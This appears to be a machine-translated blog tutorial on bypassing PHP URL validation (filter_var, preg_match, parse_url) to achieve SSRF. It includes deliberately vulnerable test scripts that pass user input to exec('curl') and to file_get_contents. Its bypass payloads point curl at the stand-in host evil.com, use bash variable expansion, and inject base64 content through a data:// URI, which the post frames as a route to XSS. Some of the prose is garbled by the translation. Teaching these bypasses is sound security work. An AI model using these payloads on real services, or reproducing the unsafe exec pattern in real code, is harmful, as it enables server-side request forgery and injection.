SSRF] [how to get around filter_var (), preg_match () and parse_url ()

0x01 Foreword

Transfer: Pino_HD



Code 0x02

<?php

    echo "Argument: ".$argv[1]."\n";

    //check if argument is a valid URL
    if(filter_var($argv[1], FILTER_VALIDATE_URL)){

        //parse URL
        $r = parse_url($argv[1]);
        print_r($r);

        //check if host ends with google.com
        if(preg_match('/baidu\.com$/', $r['host'])){

            //get page from URL
            exec('curl -v -s "'.$r['host'].'"', $a);
            print_r($a);
        }else{
            echo "Error: Host not allowed";
        }
    }else{
        echo "Error: Invalid URL";
    }

?>

This code uses the filter_var()function, preg_match()the function to filter, and a parse_url()parsing function. Finally, the exec function to execute the curl command to access the URL.

pay attentionparse_url

Here Insert Picture Description

Picture pointed out that parse_urldoes not validate urlcorrectness.


0x03 text of the bypass filter_var and preg_match

Many URL structure to keep some special characters used to represent special meaning, these different signs in the URL location has its special semantics. Character “;”, “/”, “?”, “:”, “@”, “=”and “&”are reserved. In addition to the hierarchical point in the path segment, the general syntax path segment is considered opaque. Generated URI applications usually reserved characters are used to separate the sections allowed. For example, “;”and “=”used to separate parameters and parameter values. Comma has a similar effect.

For example, some structures used name;v=1.1to represent the name version是1.1, but may also be used name,1.1to denote the same meaning. Of course, for URL, these symbols reserved URL will depend on the algorithm to show their effect.

For example, if the hostname, URL used to “http://evil.com;baidu.com”be curl, or wgetsuch tools resolved tohost:evil.com,querything:baidu.com


Try running the code

Here Insert Picture DescriptionFound the error, returns Invalid URL, it is because the filter_varfunction is not bypassed. filter_varFunction can resolve a variety of protocols, we can not try httpprotocols, such as

0://evil.com;baidu.com

Here Insert Picture Description
ok, successfully bypassed filter_varand preg_matchfunction! But we find it does not resolve our url, do not worry, what we try to add a port number, because it is not, then the default http port is not 80a

0://evil.com:80;baidu.com:80

Here Insert Picture DescriptionResolution succeeds!


Of course, we said before the comma can also be a function with a semicolon.
Here Insert Picture Description

0x03 text of the bypass parse_url

parse_urlFunction is not used to verify the correctness of the URL, but possible to resolve the URL, and the URL is divided into specific sections. In this case, the URL may be used to perform the bypass portion becomes variable.

0://evil$baidu.com

Here Insert Picture Description

Of course, this is php5 environment, php7 when parse_url will automatically parse out $ baidu.com

Here Insert Picture Description

Here, in the bashmiddle, $varis a variable, in this case $baiduthis variable is not defined is empty, that this URL is 0: // evil <empty> .com, is 0://evil.comsuccessfully bypassed!

But this approach also has its limitations because of the need to bash the use of properties, so only use php script exec(), system()when the command to complete execution function to execute commands like curl or wget.



0x04 body of data: // pseudo-protocol and use xss

With the above execdifferent, here we use the file_get_contentfunction, php test code is as follows:

<?php
  echo "Argument: ".$argv[1]."\n";
  // check if argument is a valid URL
  if(filter_var($argv[1], FILTER_VALIDATE_URL)) {
     // parse URL
     $r = parse_url($argv[1]);
     print_r($r);
     // check if host ends with google.com
     if(preg_match('/baidu\.com$/', $r['host'])) {
        // get page from URL
        $a = file_get_contents($argv[1]);
        echo($a);
     } else {
        echo "Error: Host not allowed";
     }
  } else {
     echo "Error: Invalid URL";
  }
?>

Our task is to modify the content in the response body, add a“Hacked by Pino_HD”

data://text/plain;base64,SGFja2VkIGJ5IFBpbm8Kbaidu.com

Here Insert Picture DescriptionDiscovery parse_urlfunction to textset became host, then reported the Host not allowederror. But do not worry, we can inject something into the MIMEtype of place because php is do not care about MIMEtype.

data://baidu.com/plain;base64,SGFja2VkIGJ5IFBpbm8K

Here Insert Picture Descriptionok, a successful write what we want to write in the response packet. So we can control the content of the response body, thereby formingxss
Here Insert Picture Description

Published 47 original articles · won praise 2 · Views 3150

Guess you like

Origin blog.csdn.net/a3320315/article/details/102624470